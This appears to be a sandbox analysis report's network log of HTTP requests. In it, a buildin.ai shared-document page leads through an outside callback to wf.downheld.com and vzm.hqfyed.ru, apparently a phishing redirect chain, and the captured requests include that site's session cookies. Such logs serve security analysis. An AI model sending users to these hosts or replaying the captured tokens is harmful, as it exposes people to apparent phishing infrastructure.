Source: global traffic	HTTP traffic detected: GET /assets/polyfills-1566fe7f.js HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveOrigin: https://buildin.aisec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/flowus-a377f5cb.css HTTP/1.1Host: cdn.buildin.aiConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-b987e8a9.js HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveOrigin: https://buildin.aisec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/react-vendor-04523c56.js HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveOrigin: https://buildin.aisec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-a3ee534d.css HTTP/1.1Host: cdn.buildin.aiConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/lodash-e50e3886.js HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveOrigin: https://buildin.aisec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/flowus-1673199d.js HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveOrigin: https://buildin.aisec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/tiptap-c155648d.js HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveOrigin: https://buildin.aisec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/users/me HTTP/1.1Host: buildin.aiConnection: keep-alivex-platform: web-cookiex-app-origin: websec-ch-ua-platform: "Windows"Accept-Language: en-US,en;q=0.9,zh;q=0.8x-product: buildinsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0app_version_name: 1.138.0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /X-SENDER-ID: 56b3aa97-9597-45ad-a41e-3ad216e5b524Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=trueAccept-Encoding: gzip, deflate, br, zstdCookie: next_lng=undefined
Source: global traffic	HTTP traffic detected: GET /connect/zh_CN/htmledition/js/wxLogin.js HTTP/1.1Host: res.wx.qq.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-50479804.js HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveOrigin: https://buildin.aisec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-c619d35b.js HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveOrigin: https://buildin.aisec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-3e450ade.css HTTP/1.1Host: cdn.buildin.aiConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /country_code/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://buildin.aiSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/docs/5a345237-8f26-47b9-9ffb-209d1d646648 HTTP/1.1Host: buildin.aiConnection: keep-alivex-platform: web-cookiex-app-origin: websec-ch-ua-platform: "Windows"Accept-Language: en-US,en;q=0.9,zh;q=0.8x-product: buildinsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0app_version_name: 1.138.0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /X-SENDER-ID: 56b3aa97-9597-45ad-a41e-3ad216e5b524Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=trueAccept-Encoding: gzip, deflate, br, zstdCookie: next_lng=undefined
Source: global traffic	HTTP traffic detected: GET /api/docs/5a345237-8f26-47b9-9ffb-209d1d646648/publicData HTTP/1.1Host: buildin.aiConnection: keep-alivex-platform: web-cookiex-app-origin: websec-ch-ua-platform: "Windows"Accept-Language: en-US,en;q=0.9,zh;q=0.8x-product: buildinsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0app_version_name: 1.138.0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /X-SENDER-ID: 56b3aa97-9597-45ad-a41e-3ad216e5b524Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=trueAccept-Encoding: gzip, deflate, br, zstdCookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
Source: global traffic	HTTP traffic detected: GET /api/?callback=1-9&channel=shangeyouxiang HTTP/1.1Host: jjy.fyaadd.cnConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://buildin.aiSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/docs/6c5b0932-dcf8-42f1-95e4-bfa1ed94f5c4 HTTP/1.1Host: buildin.aiConnection: keep-alivex-platform: web-cookiesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=trueAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
Source: global traffic	HTTP traffic detected: GET /api/docs/5a345237-8f26-47b9-9ffb-209d1d646648 HTTP/1.1Host: buildin.aiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
Source: global traffic	HTTP traffic detected: GET /api/spaces/getPublicData HTTP/1.1Host: buildin.aiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
Source: global traffic	HTTP traffic detected: GET /api/docs/5a345237-8f26-47b9-9ffb-209d1d646648/publicData HTTP/1.1Host: buildin.aiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
Source: global traffic	HTTP traffic detected: GET /api/docs/6c5b0932-dcf8-42f1-95e4-bfa1ed94f5c4 HTTP/1.1Host: buildin.aiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
Source: global traffic	HTTP traffic detected: GET /api/records/query HTTP/1.1Host: buildin.aiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
Source: global traffic	HTTP traffic detected: GET /country_code/ HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/?callback=1-9&channel=shangeyouxiang HTTP/1.1Host: jjy.fyaadd.cnConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Te2y0P/ HTTP/1.1Host: wf.downheld.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: wf.downheld.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wf.downheld.com/Te2y0P/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im5NdzhzZnREWTdMRWR1ZmdTTHFYUFE9PSIsInZhbHVlIjoiQVZkOGJidVhWSmZZaVM1ckY1NnJ5OGNpdDd4bkdld0FIcUUvVW10OGpWZFM4TFlyUHVMY2RjK3FtdWJ5NDVzaGJtZWg3ZkQ2a0dJem1lMTkrM3Bsb0g1eGUvU0RYTU9hZ3pyNWR4V09lSkRlOU9hM1Fsc1AvZnNldndsS1dmY1MiLCJtYWMiOiIxNjQ3YTBkMDljZDRiMDZiMDAzMTMzZjgwZTNhM2IzZjkzOGFiMGY3NDZiN2M3ZDdjMDRmMjVjZWFiMDJiNzEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJHN0lzSnJvSC9GZW80c1MrRXBNMUE9PSIsInZhbHVlIjoiQzhyWnJGandkaU1aU1hKb0twQW9iRGUrMmE4QWhYd3RRQjBMMzNSeXRVYUIvYWhmWnZOTVpHRXZDV3pCemp0RUQwRnRBaG9KeFVHRGpRSzd1dWZadkh4WmxsOXhvM01IaUQ0MElqODlGSGJZMVVsbnZSelltLzRZVjZETU55eWgiLCJtYWMiOiIwNmIwZmYyNDBiNzM4ZGY5ZmZiYmQzOWNhZDU4ZGNhZjQ2ZmYyMzBmMzgxYTIxNjI2YTZmMGI2ZjMyMDA5OTVhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fe-web-app-images/favicon.png HTTP/1.1Host: cdn.buildin.aiConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556
Source: global traffic	HTTP traffic detected: GET /fe-web-app-images/favicon.png HTTP/1.1Host: cdn.buildin.aiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556
Source: global traffic	HTTP traffic detected: GET /machlo@ezq6 HTTP/1.1Host: vzm.hqfyed.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://wf.downheld.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /machlo@ezq6 HTTP/1.1Host: vzm.hqfyed.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Te2y0P/ HTTP/1.1Host: wf.downheld.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://wf.downheld.com/Te2y0P/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im5rZm5NdVdQOGU5MzRKMGQrUkR6UlE9PSIsInZhbHVlIjoiWGR6RmRJNEgrN3RNdTUwY05lS0dSY3NzOWRoLzN4Smx0N3VUbXZBYnJNNGJ4aTJ5M1haWExEdFhKQUZjcURDRStiTUZFcEY1VFhjLzI4UUN3RTdGcHp4RHdQWk9DTHFmVk5tMVVzYWcwY0tTeTU0aXFSQXZUVWFNUUlDUFN5UTYiLCJtYWMiOiJiMDQ5ZTBjYTYwMzFlN2E5NzllNWVjOWVlMGYyNzllNTdlZGE5MjUyZTIzZTg4ZTI5ZGE0NTk3ODg4ZWQ0NjI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjY3dEorZkpxS2M4VCtONDcwaS9ZQVE9PSIsInZhbHVlIjoiTUF5YzF3NCtRMlBEUWpjR0VSQjh6QkViazVQcWN1QU5jTFEyTVJTL2IwdnJhRURTUG5CMSs3Z24xVjMyUEVWR2xFeDBOMHpCMjZ4TEpmbWxQN1B1d1V3NTNOb3JYSjdlVkZ5Y2s3Q3AwQTV5NDNNN0dDUEJCN3JzanlSQmVlTm8iLCJtYWMiOiI1Y2ZmMTg1YmY5OTE4Zjk5MTYzODEwNTkzODEzNjdhZDFmN2ZjODNkZThlNTU4NTM4M2MxNWJlYzA2OThjN2NmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /vb8tMsPZSikt84QRN3jKD3o HTTP/1.1Host: wf.downheld.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im5rZm5NdVdQOGU5MzRKMGQrUkR6UlE9PSIsInZhbHVlIjoiWGR6RmRJNEgrN3RNdTUwY05lS0dSY3NzOWRoLzN4Smx0N3VUbXZBYnJNNGJ4aTJ5M1haWExEdFhKQUZjcURDRStiTUZFcEY1VFhjLzI4UUN3RTdGcHp4RHdQWk9DTHFmVk5tMVVzYWcwY0tTeTU0aXFSQXZUVWFNUUlDUFN5UTYiLCJtYWMiOiJiMDQ5ZTBjYTYwMzFlN2E5NzllNWVjOWVlMGYyNzllNTdlZGE5MjUyZTIzZTg4ZTI5ZGE0NTk3ODg4ZWQ0NjI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjY3dEorZkpxS2M4VCtONDcwaS9ZQVE9PSIsInZhbHVlIjoiTUF5YzF3NCtRMlBEUWpjR0VSQjh6QkViazVQcWN1QU5jTFEyTVJTL2IwdnJhRURTUG5CMSs3Z24xVjMyUEVWR2xFeDBOMHpCMjZ4TEpmbWxQN1B1d1V3NTNOb3JYSjdlVkZ5Y2s3Q3AwQTV5NDNNN0dDUEJCN3JzanlSQmVlTm8iLCJtYWMiOiI1Y2ZmMTg1YmY5OTE4Zjk5MTYzODEwNTkzODEzNjdhZDFmN2ZjODNkZThlNTU4NTM4M2MxNWJlYzA2OThjN2NmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
